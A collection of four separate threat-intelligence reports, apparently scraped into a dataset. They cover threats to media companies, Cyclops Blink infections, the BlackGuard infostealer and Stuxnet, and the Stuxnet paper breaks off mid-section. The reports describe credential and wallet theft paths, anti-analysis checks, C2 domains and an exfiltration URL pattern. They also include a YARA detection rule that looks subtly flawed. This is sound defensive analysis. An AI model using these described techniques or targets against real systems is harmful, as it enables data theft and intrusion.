text
stringlengths 8
115k
|
---|
# Cyber Threats to the Entertainment and Media Industries
Entertainment and media companies face cyber threats from the following actors:
- Advanced Persistent Threat (APT) groups assisting their sponsoring government in controlling its national image by stealing information related to media organizations’ reporting activities, including personnel, sources, local partnerships, anticipated public releases, general country operations, and specific areas of research.
- APT groups engaging in economic espionage to provide their indigenous entertainment and media companies with a competitive advantage through stealing data related to other companies’ mergers, acquisitions, or distribution; technologies or processes for advanced production; and creative intellectual property.
- Hacktivists and APT groups seeking to disrupt a victim company’s operations to promote a cause, control reporting, or contain the dissemination of content that they consider politically sensitive or controversial. APT groups may potentially try to mask the identity of their government sponsor by posing as an independent hacktivist group when targeting a victim company.
- Enterprise-like cybercriminals seeking personal profit through targeting the gaming industry and stealing account credentials, activation codes, in-game valuables, and personally identifiable information (PII).
## Case Study: APT28 Suspected in False Flag Operation on French Media Company
In April 2015, threat actors compromised TV5 Monde, a French news station with a global audience. The actors damaged equipment, disrupting broadcasts for several hours, and defaced the company’s website and social media accounts with propaganda pertaining to ISIS and the CyberCaliphate, a hacktivist group allegedly associated with ISIS. However, although the activity initially appeared to be the work of the CyberCaliphate, FireEye Threat Intelligence suspects that APT28, a group associated with the Russian government, was instead responsible for the activity. APT28 likely posed as the CyberCaliphate to capitalize on Western fears over Islamic extremism, particularly following the Charlie Hebdo-inspired attacks of several months prior. The compromise of TV5 Monde was likely a Russian information operation intended to alarm the French, with whom Russia’s relations have been declining, and draw the West’s attention away from Russia’s ongoing role in the Ukraine crisis and towards the threat of terrorism in the Middle East.
## Threat Horizon & Industry Outlook
The entertainment and media industries play a key role in shaping public opinion and even national image, making it a valuable target for APT groups and hacktivists seeking influence. The following factors may further influence threat activity towards these sectors:
- Concerns over domestic stability and government legitimacy will likely result in increased targeting from APT groups seeking to assist their associated government in monitoring public opinion, shaping its image, promoting its message, and otherwise leveraging its soft power to maintain and spread its influence.
- A desire to discourage publication of controversial stories and views may prompt some threat actors to attempt to gain access to a relevant media organization’s raw reporting and acquire information on the identities of its sources. State-sponsored threat actors aiming to suppress a certain story, for example, may target a media organization reporting on the topic in an effort to evaluate what the organization knows about the issue and identify its sources.
- Efforts to intimidate or punish a media organization for publishing a critical or unflattering story might prompt the threat actors to retaliate by targeting the offending media organization. Threat actors may steal data on employees and sources in an effort to intimidate or monitor them. There is also the possibility that threat actors may try to steal and then publicly release sensitive data, in an attempt to embarrass the targeted organization and damage its credibility.
- Tensions or conflicts between adversaries, whether state or non-state, will probably lead to increased threat activity from associated threat actors aiming to prevent their adversary from spreading its own message or propaganda, while potentially seeking to spread its own propaganda through its opponents’ channels.
## Top Malware Families
- **ChinaChopper**: A small webshell that provides threat actors unauthorized access to an information system using a simple password for authentication and is capable of executing Microsoft .NET code within HTTP POST commands.
- **SOGU (aka Kaba)**: A backdoor that is capable of file upload and download, arbitrary process execution, filesystem and registry access, service configuration access, remote shell access, and implementing a custom VNC/RDP-like protocol to provide the command and control (C2) server with graphical access to the desktop.
- **Gh0stRAT**: A remote access tool (RAT) derived from publicly available source code. It can perform screen and audio captures, enable a webcam, list and kill processes, open a command shell, wipe event logs, and create, manipulate, delete, launch, and transfer files.
- **PoisonIvy**: A publicly available RAT that provides comprehensive remote access capabilities on a compromised system. Its variants are configured, built, and controlled using a graphical Poison Ivy management interface available online.
- **Page (aka ELISE)**: A downloader that attempts to retrieve encoded DLLs from a pre-configured command and control server, which it communicates with using HTTP requests.
## Top Crimeware Families
- **Upatre**: A Trojan downloader that often arrives via a spam email, drive-by download, or exploit. Upatre will download one or more additional types of malware onto an infected system.
- **Delf**: A family of Trojans whose files are often compiled in Delphi. It has the ability to connect to a remote server for downloading and installing additional malware onto the system without the consent or knowledge of the user.
- **ZeroAccess (aka SIREFEF)**: A Trojan with advanced rootkit capabilities, initially developed as a delivery mechanism for other types of malicious software.
- **Allaple**: A worm that will perform denial of service attacks on specific targets and attempt to propagate to other systems on the same network.
- **Muxif**: A Trojan downloader that communicates with a C2 server to send system information, receive instructions, and download additional malicious executables. It also modifies the registry to maintain persistence. |
# Shadowserver Special Reports – Cyclops Blink
**February 23, 2022**
**UPDATE 2022-04-21:** Fifth special report sent overnight containing 511 IPs likely still infected with Cyclops Blink, corresponding to 270 ASNs in 60 countries. Remediation continuing.
**UPDATE 2022-04-13:** Overnight 2022-04-12/13 we sent out a fourth special report with 537 IPs likely infected with Cyclops Blink, corresponding to 281 ASNs in 61 countries. The top countries were still United States (154), Canada (58), Sweden (38), Russia (26), Germany (25). A mix of Watchguard and ASUS devices. Remediation continuing, but more patching required.
**UPDATE 2022-04-08:** Overnight 2022-04-07/08 we sent out a third special report with an additional 553 IPs likely infected with Cyclops Blink, corresponding to 285 ASNs in 61 countries. The top countries were United States (157), Canada (58), Sweden (38), Russia (27), Germany (26).
**UPDATE 2022-04-06:** US DoJ announcement about disruption action against Cyclops Blink infected devices.
**UPDATE 2022-04-01:** ASUS released updated firmware for devices impacted by Cyclops Blink.
**UPDATE 2022-03-25:** ASUS released a security advisory about Cyclops Blink impacting ASUS devices.
**UPDATE 2022-03-17:** Trend Micro published research detailing ASUS devices also being impacted by Cyclops Blink (some ASUS device IPs were included in our second special report, but not explicitly called out at that time, since details were not public).
**UPDATE 2022-03-03:** On 2022-03-03 we sent out a second special report with an additional 673 IPs likely infected with Cyclops Blink, observed on 2022-02-24. These IPs are different from those sent out in the first report. Countries with top infections: USA (188), France (92), Italy (65), Canada (55), Germany (39).
---
On May 23rd 2018, the US Department of Justice (DoJ), Federal Bureau of Investigation (FBI) and Cisco Talos publicly announced the disruption of a novel multi-stage modular malware platform called VPNFilter. This was designed to infect small office and home office (SOHO) routers and other network devices. At the time, VPNFilter was believed to be operated by the threat actor known as APT28 (also known as Fancy Bear, Pawn Storm, Sandworm, Sofacy Group, Sednit X-Agent, STRONTIUM and Tsar Team), which was allegedly associated with the Russian military intelligence agency (GRU).
Since then, we have continued notifying VPNFilter victims about infected devices worldwide via Shadowserver’s free daily network reports. In January 2021, we collaborated with partner Trend Micro on a joint analysis of the remaining global VPNFilter victim population. This added some further scan-based insights about third stage victim prevalence into our daily datasets.
From our vantage point as sinkhole operators, the peak day for VPNFilter infections globally was 2018-07-24, which saw 14,966 unique IP addresses being observed hitting the sinkhole. After the initial fairly rapid remediation of infected devices, a typical long tail of not yet remediated victims still remains today.
Note the lack of variation in the daily/weekly number of detected IP addresses. As expected, this suggests that the infected devices are always-on routers (which is unlike the typical overnight or weekend patterns of change we usually see in sinkholed home or office PCs).
The IP-geolocated distribution of sinkholed VPNFilter unique IP addresses on that peak day was:
With Ukraine having by far and away the most infected victim devices. This compares to the current sinkholed VPNFilter IP address distribution observed yesterday.
---
**Cyclops Blink replaces VPNFilter**
On February 23rd 2022, the UK National Cyber Security Centre (NCSC), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA) and the Federal Bureau of Investigation (FBI) jointly announced that they had identified that the threat actor known as Sandworm or Voodoo Bear has deployed a new, large-scale modular malware framework which is affecting network devices. They have named the malware Cyclops Blink. The NCSC, CISA, FBI and NSA have previously attributed the Sandworm threat actor to the Russian GRU’s Main Centre for Special Technologies GTsST.
The Cyclops Blink malware is believed to be a more advanced replacement for VPNFilter. It is installed on exploited network devices as part of a legitimate firmware upgrade, allowing persistence between reboots. The UK NCSC’s analysis explains that it is possible to recalculate the Hash-based Message Authentication Code (HMAC) value for the modified firmware image because the WatchGuard FireBox devices use a hard-coded key to initialize the hash calculation. This allows their malware to pass checks and appear to be legitimate, vendor-supplied firmware updates.
Infected victims’ devices are grouped into clusters, each with a list of Command and Control (C2) servers. They communicate with their operators using Transport Layer Security (TLS) running over The Onion Router (Tor) network. To date, Cyclops Blink malware is believed to have been primarily deployed onto WatchGuard firewall devices (which are Linux ELF 32-bit PowerPC big-endian platforms), and all C2 servers identified to date have been for WatchGuard firewalls. However, the assessment published today indicates that it is likely that the Cyclops Blink malware could also be compiled and deployed onto other architectures and firmware. This botnet appears to have been active since at least June 2019.
A detailed technical analysis of Cyclops Blink by the UK NCSC can be found, which includes Indicators of Compromise (IoCs) and YARA signatures to assist in detection.
---
**Cyclops Blink Malware Remediation**
WatchGuard have provided remediation information for system owners infected with the Cyclops Blink malware. WatchGuard estimate that Cyclops Blink malware may have infected approximately 1% of WatchGuard firewall devices. They advise that the default configuration is to prevent access to their management interface from the Internet, so this configuration must be manually enabled by the system administrator.
All WatchGuard device owners should follow each step in these instructions to ensure that devices are patched to the latest version and that any infection is removed.
- If your device is identified as infected with Cyclops Blink, you should assume that any passwords present on the device have been compromised and replace them immediately.
- You should ensure that the management interfaces of your network devices are not exposed to the Internet.
**UPDATES 2022-03-25 and 2022-04-01:** Asus have also provided remediation information and updated firmware for impacted customers.
---
**Shadowserver Cyclops Blink Special Report**
We send out Special Reports whenever we are able to share one-time, high value datasets that we feel should be reported responsibly for maximum public benefit. Although the events included in these Special Reports sometimes fall outside of our usual 24-hour daily reporting window, we believe that there would still be significant benefit to our constituents in receiving and hopefully acting on the data.
On February 23rd 2022, we sent out a new Special Report covering network devices that are believed to be likely infected with the Cyclops Blink malware. This one-off Cyclops Blink Special Report contained:
- 1,573 unique victim IP addresses in 495 different Autonomous System Numbers (ASNs) across 70 different countries
- 25 Command and Control (C2) server IP addresses in 19 different Autonomous System Numbers (ASNs) in 7 different countries
---
**Cyclops Blink Data Visualisation**
The data contained in this new Cyclops Blink Special Report was provided to Shadowserver to disseminate rapidly to National CERTs/CSIRTs and network owners globally, to maximize remediation efforts.
Of the 1,573 IPv4 addresses included in the Cyclops Blink Special Report, the majority of likely infected network devices IP-geolocate as being located in the United States, Canada and Central Europe.
Looking at the data in another way, more than half of the network devices believed to be infected with Cyclops Blink malware are located in the United States, France, Italy, Canada and Germany.
Shadowserver conducts daily Internet-wide scanning of all IPv4 /0, which includes identification of Internet facing devices, where possible, thanks to the EU HaDEA VARIoT project. We began making this information available to National CERT/CSIRTs and Network Owners who subscribe to our free daily network reports in the form of our Daily Device Identification Report in September 2021, which can be used to establish your exposed attack surface. We highly recommend subscribing and reviewing this report for your network, since this is the same profile an attacker scanning to perform reconnaissance from the outside will also see.
The location of the likely Cyclops Blink infected devices generally matches our scan-based understanding of the global distribution of WatchGuard firewall devices which are currently exposed to the Internet.
---
In addition to the 1,573 IPv4 addresses corresponding to likely infected victim network devices included in our Cyclops Blink Special Report, 25 Cyclops Blink C2 servers have also been identified.
---
**Not Yet Subscribed to Shadowserver’s Free Daily Reports?**
If you missed this Special Report because you were not yet a subscriber to our free daily network reports, do not worry: simply subscribe for your network or country now and specifically request all recent Shadowserver Special Reports. We will resend the Special Report specifically for your network or country (for National CERT/CSIRTs).
If you have a data set which you feel could also be of benefit to National CERT/CSIRTs and network owners worldwide to help protect victims of cybercrime, please get in touch and discuss the options for using Shadowserver’s proven reporting systems for distribution and remediation. |
# Threat Thursday: BlackGuard Infostealer Rises from Russian Underground Markets
The BlackBerry Research & Intelligence Team
BlackGuard is one of the latest .NET-based information stealers to rise to prominence in Russian underground markets. Though not as broad in functionality as other infostealers, BlackGuard’s focus is on web browsers, cryptocurrency services, and “cold wallets” – crypto wallets that store assets offline for greater security.
BlackGuard has specific functions to extract critical information from a victim's device, similar to both Arkei and Bhunt Scavenger. Additionally, the malware will target VPN clients, instant messaging services, FTP clients, and VoIP services. Following a growing trend for modern malware, BlackGuard is sold and distributed as Malware-as-a-Service (MaaS). The threat group behind the malware offers both monthly subscriptions and a lifetime pass to use the malware. (For “lifetime,” read “until the malware authors get caught.”)
While BlackGuard was first observed by researchers at ZScaler, our analysts took a deeper dive to plumb its depths, discovering some functions not previously described, including the malware’s features for evaluating high-value targets and default browser checks.
## Operating System Risk & Impact
BlackGuard infostealer fits neatly into the space a few older, discontinued threats have left behind. It provides a degree of obfuscation that other malware authors often charge a sizeable add-on fee for, all included at a relatively cheap price. The threat also offers ease of use, as well as ease of procurement, as it’s sold on a variety of different forums.
### Anti-Analysis Checks
On execution, BlackGuard conducts anti-analysis and anti-detection checks to determine if the malware is being run inside a sandbox or on a device with a specific type of antivirus software installed. If the malware detects the presence of any of the Dynamic-Link Library (.DLL) files listed in the following table, it will attempt to terminate itself, to prevent execution and subsequent detection.
| DLL Name | Application Name |
|-----------------|---------------------------------|
| SbieDll.dll | Sandboxie Sandbox |
| SxIn.dll | 360 Total Security |
| Sf2.dll | Avast Antivirus |
| snxhk.dll | Avast Antivirus |
| cmdvrt32.dll | COMODO Internet Security |
BlackGuard will also query "IP-Whois" to determine the approximate location of the victim. In some samples of BlackGuard, this function is used to prevent the malware’s execution in specific Eastern European nations, which would appear to confirm suspicions regarding where the malware authors are located.
In the samples we analyzed, the malware will stop executing if the victim is based in the following countries:
- Armenia
- Azerbaijan
- Belarus
- Kazakhstan
- Kyrgyzstan
- Moldova
- Russia
- Tajikistan
- Ukraine
- Uzbekistan
### String Obfuscation
BlackGuard is built using the .NET programming language, which is easily human-readable. To foil this transparency, it makes use of the .NET obfuscator, "Obfuscar.” This technique is often used in malware – and in legitimate software development to prevent unauthorized analysis that might lead to things like cracking and piracy – as an obfuscator makes the source code of a program harder for a human reader to understand.
Obfuscar aggregates all of BlackGuard’s string data into a byte array, and then it XORs the data to prevent the strings from being visible during static analysis. The XOR cipher is a simple additive cipher often used in cryptography. The byte array is then de-obfuscated at run-time. All original string references are replaced by function calls that use an index and a length to pull the appropriate string out of the byte array.
In some cases, the strings are also Base64-encoded and therefore need to be decoded after being retrieved from the byte array. This additional level of obfuscation makes it less likely for the malicious activity to be picked up by memory scanners and other detection-based antivirus systems.
### Information Stealing
Once all the anti-analysis checks are complete, BlackGuard will create a folder in %AppData% to store its stolen information. After it has created this folder, BlackGuard starts its information-stealer functionality. The malware is designed to have different functions carry out various goals of information theft.
#### VPNs
BlackGuard will seek out the presence of two popular Virtual Private Networking (VPN) applications, OpenVPN and NordVPN. The threat searches for both applications by looking for their common installation path. It then searches for the username and password in the user data of both applications.
#### Victim Device Information
BlackGuard calls multiple functions to collect data from the victim, which is then stored in a file called “information.txt.” Targeted data includes the following:
- IP address
- Country/location
- Hardware identification (HWID)
- Operating system (OS)
- Log data (of infection)
The malware also has a separate function for taking a screenshot of the victim’s screen without their knowledge or consent. This only occurs once during the main info-stealing function of the malware. The screenshot is stored in the %AppData% directory alongside “information.txt” as “Screen.Png.”
#### Browsers
Like many other modern information stealers, BlackGuard has the functionality to obtain stored browser information to plunder a victim’s saved login credentials. BlackGuard attempts to find the following information from the user’s browser:
- Logins
- Autofill information
- URL/History
- Download paths
As each browser stores its information in a different location, and uses its own method of storage, BlackGuard has specific functions to tackle info-stealing from the most popular browsers, including:
- Chromium
- Google Chrome
- Opera Software
- Mozilla Firefox
- Microsoft Edge
- Brave-Browser
#### Message Applications
BlackGuard also targets popular instant messenger (IM) applications for pilfering sensitive information. It achieves this by reading information stored in the application’s relevant %AppData% directory.
For example, for Telegram’s collection function, it checks %AppData% before looking for the presence of Telegram.exe, plus a locally stored %tdata% folder that is generated by the messenger. For Pidgin, the collection function reads the "accounts.xml" file and copies the protocol, login, and password.
| Application Name | Application Path |
|------------------|---------------------------------------------------|
| Telegram | %AppData%\Telegram Desktop\tdata |
| Pidgin | %AppData%\.purple\accounts.xml |
| Tox | %AppData%\Tox |
| Element | %AppData%\Element\Local Storage\leveldb |
| Signal | %AppData%\Signal\Local Storage\leveldb |
| Discord | Discord\\Local Storage\\leveldb |
#### Cryptocurrency
A primary focus of BlackGuard is stealing cryptocurrency. Like Arkei infostealer, BlackGuard aims to cover all aspects of crypto applications, services, and wallets, to ensure it is hitting all available crypto targets on the victim’s machine.
| Wallet name | Application Path |
|------------------|---------------------------------------------------|
| Zcash | \\Zcash |
| Armory | \\Armory |
| Jaxx | \\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb |
| Exodus | \\Exodus\\exodus.wallet |
| Ethereum | \\Ethereum\\keystore |
| Electrum | \\Electrum\\wallets |
### High-Value Target Evaluation
In the creation of a BlackGuard sample, a threat actor can provide a list of relevant strings for the malware to focus on. Located in the resource section of each sample’s binary, BlackGuard’s final information collection process involves the tokenization of these included strings.
The malware will seek out any references to these relevant strings, iterating through all the data it has gathered. If a string matches, it will be highlighted as a high-value target for the threat actor to note when reviewing successfully exfiltrated data.
By examining the resources of multiple BlackGuard samples, we have created a list of the most common strings targeted:
| String | Category |
|---------------------------------|-----------------|
| admin | Administration |
| ads.google.com | Advertising |
| kaspersky.com | Antivirus |
| chase.com | Banking |
| blockchain.com | Cryptocurrency |
| paypal.com | Online Commerce |
Any matches are written to “search_link.txt” and saved to the temporary %AppData% directory along with all other stolen information.
### Exfiltration to C2
Once BlackGuard has copied all the information it has gathered into its temporary directory in %AppData%, it zips the information into a handy RAR archive with a randomly generated name. The newly created RAR file is then sent via a POST request to a hardcoded C2 server. The request includes some basic details to allow the attacker to quickly identify valuable targets.
### Conclusion
As malware infostealers evolve, so too does the market for them. BlackGuard is a complex threat that still seems to be in development. As this threat becomes increasingly popular and widely distributed as a MaaS offering, and the malware’s attack vector varies, it’s difficult to map an exact diagram of a typical attack.
With BlackGuard’s primary laser-focus on cryptocurrency data and wallet information, it is critical for crypto enthusiasts to add more effective security measures to their endpoints.
### YARA Rule
The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document:
```yara
import "pe"
rule Mal_Infostealer_Win32_BlackGuard {
meta:
description = "Detects W32 BlackGuard Infostealer"
author = "BlackBerry Threat Research team"
date = "2022-14-04"
sha256 = "6AB3B21FA7CB638ED68509BE1ED6302284E8A9CD1A10F9B6837C057154AA6162"
license = "This Yara rule is provided under the Apache License 2.0"
strings:
$a1 = { 06 91 06 61 20 AA 00 00 00 61 D2 9C 06 17 58 0A }
$a2 = "System.Data.SQLite"
$a3 = "FromBase64String"
$a4 = "BlockInput"
$a5 = "UploadFile"
$a6 = "Passwords"
$a7 = "Discord"
$a8 = "GetVolumeInformationA"
$a9 = "NordVPN"
$a10 = "OpenVPN"
condition:
uint16(0) == 0x5a4d and
pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" and
pe.number_of_sections == 3 and
pe.section_index(".text") == 0 and
pe.section_index(".rsrc") == 1 and
pe.section_index(".reloc") == 2 and
((all of ($a*)) or ((12 of ($a*) and all of ($b*))))
}
```
### Indicators of Compromise (IoCs)
**SHA256:**
- 3df93a8c2843f1e91c7625685fbc4a7fc9438d8debf765d5a5bf9c62dbed6aef
- 6ab3b21fa7cb638ed68509be1ed6302284e8a9cd1a10f9b6837c057154aa6162
**C2 Domains:**
- hXXps://greenblguard[.]shop
- hXXps://win[.]mirtonewbacker[.]com
### BlackBerry Assistance
If you’re battling this malware or a similar threat, you’ve come to the right place, regardless of your existing BlackBerry relationship. The BlackBerry Incident Response team is made up of world-class consultants dedicated to handling response and containment services for a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases. |
# The Stuxnet Worm and Options for Remediation
**Andrew Ginter, Chief Security Officer, Industrial Defender**
**Last updated: August 23, 2010**
We encourage distribution of the information in this document to support knowledge sharing and to enable further discussion and discovery. The content of this document is licensed under a Creative Commons Attribution-Share Alike 3.0 License. Additionally, permission is also granted to copy, distribute and/or modify content in this document under the terms of the GNU Free Documentation License. Please do not use any text selectively in order to misrepresent Industrial Defender's position. Legal action may be taken if this occurs. Please contact [email protected] for additional information.
---
## 1. Introduction
On June 17, 2010, the makers of the VirusBlokAda anti-virus product in Belarus identified a new worm. The worm was significant in that it propagated via a previously unknown vulnerability in the method that all versions of Microsoft Windows operating systems, since at least Windows NT, handled file shortcut or “.LNK” files. Further, the malware was signed by a RealTek certificate. On July 14, Frank Boldewin, a security expert in Germany, investigated the worm further and discovered that the worm targeted Siemens WinCC control system components, part of the Siemens PCS 7 control system solution.
This combination of characteristics:
- Using an unknown and unpatched vulnerability to compromise machines,
- Being signed with a certificate from a well-known vendor, presumably stolen, and
- A sophisticated attack on industrial control systems components,
made the worm very unusual. Later analysis by Symantec identified the worm as the first control system “rootkit” – a piece of software that modifies the behavior of a control system and disguises itself from detection. This paper summarizes what is known about the worm at the time of writing and describes ways to protect industrial control systems from the worm.
## 2. Variants and Naming
The VirusBlokAda paper used a number of terms to refer to the worm. Components of the worm were identified as “Rootkit.TmpHider” and “Rootkit.TmpHider.2,” presumably because when propagating via USB sticks and network shares, the worm embeds itself in “.tmp” files. By the time Microsoft published their advisory, a majority of labs with signatures published for the worm had dubbed it “Stuxnet.” Microsoft identified the “TmpHider” and “TmpHider.2” components of the worm as “Stuxnet.A” and “Stuxnet.B”.
This first Stuxnet.A/B variant of the worm was signed with a RealTek certificate. On July 17, ESET labs announced that they had found a second variant of the worm, signed with a JMicron certificate. On July 23, Kaspersky labs reported that their anti-virus products were reporting over 40,000 computers infected with Stuxnet.A/B, but only two machines infected with the JMicron-signed variant. Little has been published about the variant and differing naming conventions for the variant exist.
Symantec reports that it has analyzed some four variants of the Stuxnet worm. The oldest dates from June 2009. The worm appears to have been under steady development by a professional team for at least the last 12 months. Most of the information in this report relates to the Stuxnet.A/B variant.
## 3. LNK Vulnerability
The Microsoft Windows LNK vulnerability appears evident in all versions of Windows operating systems, back to at least Windows NT 4.0. The vulnerability is related to the rendering of icons in the Windows Explorer “shell” for certain file shortcuts. It seems that when the shell renders icons for certain shortcuts, the shell activates code in the files to which the shortcuts refer. Stuxnet code is initially activated this way.
The Stuxnet worm uses the LNK vulnerability when the worm propagates via USB mass storage media, such as USB flash sticks. The Stuxnet code is activated by viewing the Stuxnet shortcuts in Windows Explorer. On the surface, this sounds similar to many other worms which propagate via USB sticks. Those worms use the “autorun.inf” file to trigger execution of the malware; a common protection against such worms is to instruct Windows not to run the autorun files when media is attached to USB ports or even CD drives. This autorun.inf protection does not prevent Stuxnet from running – you activate the Stuxnet code by having Windows Explorer display the Stuxnet shortcut icons.
The same vulnerability can be triggered anywhere that file shortcut icons are displayed – on the hard disk, on network shares, and on WebDAV shares. More recently, there are reports that the vulnerability can be triggered by file shortcuts embedded in Microsoft Office documents, other kinds of files, and even electronic mail. Other kinds of malware have also started using the LNK vulnerability to propagate.
**Note:** The ICS-CERT and Microsoft advisories on the LNK vulnerability are easy to misinterpret. Neither list Windows NT, Windows 2000, or Windows XP SP2 as affected by the vulnerability. The reason for the omission is that these platforms are out of support by Microsoft. The platforms are in fact affected by the vulnerability and are still widely used in industrial control systems.
**Note:** The Microsoft advisory indicates that “program information files” (PIF) can be abused to trigger the execution of malware, in much the same way as LNK files can be abused. PIF files, however, are not used by Stuxnet to propagate and so are not treated in depth in this discussion of Stuxnet.
## 4. Stuxnet Propagation
Stuxnet moves between computers on USB sticks, via network shares, and via an older Microsoft RPC vulnerability.
If you look at an infected USB stick on a Linux machine, or a Windows machine protected to the point where it cannot run the software on the USB stick, you will see files:
- Copy of Copy of Copy of Copy of Shortcut to.lnk
- Copy of Copy of Copy of Shortcut to.lnk
- Copy of Copy of Shortcut to.lnk
- Copy of Shortcut to.lnk
- ~wtr4132.tmp
- ~wtr4141.tmp
The LNK files are the malicious file shortcuts, all referring to “~wtr4132.tmp.” The TMP files contain the code of the worm. If you attach another USB stick to a compromised machine, these files are usually copied to the stick. The version of Stuxnet Industrial Defender tested would not create these files on an empty USB stick but would create them if the stick contained a number of other files.
**Note:** The “does not write to empty USB sticks” is not behavior you should rely on.
Once a machine is compromised, the Stuxnet worm renders the TMP and LNK files on the USB stick invisible to Windows Explorer. If you watch closely while Stuxnet compromises a machine, you may see the files briefly displayed in Windows Explorer and then disappear a number of seconds later.
When propagating via USB sticks, the worm counts how many “hops” it has made between machines. After three hops, the worm erases itself from the USB stick and from the machine it has just infected. This feature was likely designed to limit the geographic spread of the worm.
Symantec reports that Stuxnet also propagates via network shares to which the compromised machine has permission to write. The worm is said to store a file named:
- DEFRAG[random number].tmp
in the root folder of any “Admin$” share the worm finds. These shares are invisible administrative shares created by default on many file servers. To activate the TMP file on that share, the worm contacts the share server over the network and schedules execution of the TMP file, making remote use of the Windows task scheduler.
And finally, the worm also propagates across local area networks using the Microsoft MS08-067 RPC vulnerability. That vulnerability is also used by Conflicker and other worms, and a patch has been available for the vulnerability since 2008.
## 5. Evidence of Compromise
When the Stuxnet worm compromises a Windows machine, it does many things, including creating files, creating and starting services, and hiding code inside of apparently benign processes in memory. The easiest changes to identify are the creation of files:
- %SystemRoot%\system32\drivers\mrxcls.sys
- %SystemRoot%\system32\drivers\mrxnet.sys
- %SystemRoot%\inf\oem6c.pnf
- %SystemRoot%\inf\oem7a.pnf
Unlike the masked LNK and TMP files on USB sticks, these files are visible to Windows Explorer. The worm also creates two services:
- MRXCLS
- MRXNET
and creates a number of registry keys in:
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxCLS
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxNET
The services, however, are not visible in the Control Panel / Administrative Tools / Services tool. In addition, there are indications in the worm code that the worm checks for the presence of anti-virus systems on compromised equipment and may disable those systems. If a system has been compromised and owners are removing the worm, owners should check that any anti-virus protections which should be active on the machine are still working.
## 6. Signed Code
The mrxcls and mrxnet drivers are signed because Windows Vista prompts you if drivers you are installing are not signed with a trusted certificate, and Windows 7 refuses to install drivers which are not signed this way. Most of the Stuxnet worms circulating are signed with a RealTek certificate. Verisign has confirmed that the certificates were legitimate – they were legitimately issued to representatives of RealTek and JMicron. Both certificates have been revoked, but this only means that no new code can be signed with them, not that signatures on existing code have become invalid.
No one knows for sure how the malware came to be signed with certificates legitimately issued to these firms. There is speculation that since the firms have offices close to each other in an industrial park in Taiwan, that the theft might have been by a corporate insider in that geography. Other speculation is that the firms may have been compromised by malware of some sort which steals certificates. For example, the Zeus botnet is known to steal website certificates but is not known to steal other kinds of certificates.
## 7. Network Operations
Symantec reports that once the worm has compromised a machine, it contacts a command and control (C&C) server on port 80 at one of the DNS addresses:
- www.mypremierfutbol.com
- www.todaysfutbol.com
Some variants of the worm also contain hard-coded IP addresses which are identical to the IP addresses these DNS entries once resolved to. The two IP addresses involved identified two C&C servers – one in Malaysia and one in Denmark. Symantec reports that it worked with agencies to redirect the C&C DNS entries to benign IP addresses. The benign addresses are now being used to count infected machines and to work with authorities in different countries to assist in cleaning up the infection.
**Note:** Symantec cautions that the Stuxnet worm is easily reconfigured to use different IP addresses and DNS entries to contact its C&C servers. No such variants have yet been identified. However, users should not be complacent because the existing versions of the worm have been frustrated in their attempts to contact a C&C server.
Symantec further reports that the worm sends basic information about the compromised host to the C&C server, including:
- Windows version information,
- Computer name,
- Network group name,
- A flag as to whether the WinCC software is installed or not, and
- IP addresses of all network interfaces.
The information is sent encrypted to the URL:
`http://<C&C server address>/index.php?data=<encrypted data>`
The server responds with either a command to execute a remote procedure call on the compromised host or with a download of a new DLL for the worm to download and execute. The remote procedure calls include:
- Read a file
- Write to a file
- Delete a file
- Create a process
- Inject a .dll into lsass.exe
- Load an additional .dll file
- Inject code into other processes
- Update the configuration data for the worm
No information has been published as to whether any of these RPCs were activated on compromised hosts, or whether additional DLL files have been discovered to have been downloaded to those hosts.
## 8. Stuxnet Targets Siemens PCS 7 Systems
Stuxnet targets computers running the WinCC Human / Machine Interface (HMI) components of a Siemens PCS 7 control system. In process control systems, HMIs display graphic analogues of the physical process to a plant operator, animating the graphics with the latest real-time data acquired from Programmable Logic Controllers (PLCs). The sensors and controllers in the physical process are wired into the PLCs. In addition, operators can manipulate the graphic user interface to change the physical process, for example: start pumps, close valves, increase pressures, and so on. The HMI translates those graphic manipulations into low-level commands and sends those commands to the PLCs. Note that PLCs are generally not Windows computers and so are not of themselves vulnerable to direct compromise by the Stuxnet worm.
Every WinCC component uses the Microsoft SQLServer database to store information. The database runs on the same machine as the WinCC software. The WinCC software uses a hard-coded password to access the SQLServer database. Users are not able to change this “vendor password,” since the password is embedded in the WinCC product. If users were to change the password in the SQLServer database, the WinCC components would malfunction, as they would no longer be able to contact the database.
When Stuxnet takes over a machine, it checks to see if the machine is running WinCC software. If so, the worm opens a connection to the SQLServer database on the machine using the vendor password. Frank Boldewin, the security researcher who first published that the worm targets Siemens control systems, has published SQL queries embedded in the worm. His analysis is that if those embedded queries execute, they will extract IP addresses and port numbers of other WinCC machines that are connected up in the PCS 7 system. The SQLServer database on WinCC hosts can by default accept connections from other hosts on the same network using the vendor password. There is no indication that the worm uses this capability.
Symantec has published an analysis of the worm's capabilities as well. Symantec reports that the worm contains a wrapper for the Siemens “s7otbxdx.dll.” This DLL is used by WinCC to communicate with PLCs. The wrapper exports exactly as many functions as the real DLL. Some of these functions simply pass control directly into the real DLL without changing any data, and other functions either manipulate inputs before passing them on to the real DLL or manipulate the outputs of the real DLL. The set of functions which manipulate inputs or outputs is listed below:
- s7_event
- s7ag_bub_cycl_read_create
- s7ag_bub_read_var
- s7ag_bub_write_var
- s7ag_link_in
- s7ag_read_szl
- s7ag_test
- s7blk_delete
- s7blk_findfirst
- s7blk_findnext
- s7blk_read
- s7blk_write
- s7db_close
- s7db_open
- s7ag_bub_read_var_seg
- s7ag_bub_write_var_seg
These functions are related to PLC programming. With these function wrappers, Symantec has identified Stuxnet as “the first known rootkit for SCADA devices.” Symantec and other researchers report that if a PLC program has been modified in a certain way, these wrappers act to hide the modification from users trying to examine the PLC program from a compromised Windows host. Any user looking at the PLC from a programming tool on the compromised WinCC host makes a request to see the list of function blocks in the PLC, using the wrapped functions above. If the programming tool requests all the function blocks for display, but the return values from the library are modified by the wrapper to exclude the malicious function blocks, those blocks are invisible to the programming tool and so are invisible to the user using the programming tool.
The Stuxnet worm is reported to contain some 70 function blocks which it is able to download into PLCs. Details of the effects of these function blocks are not yet available.
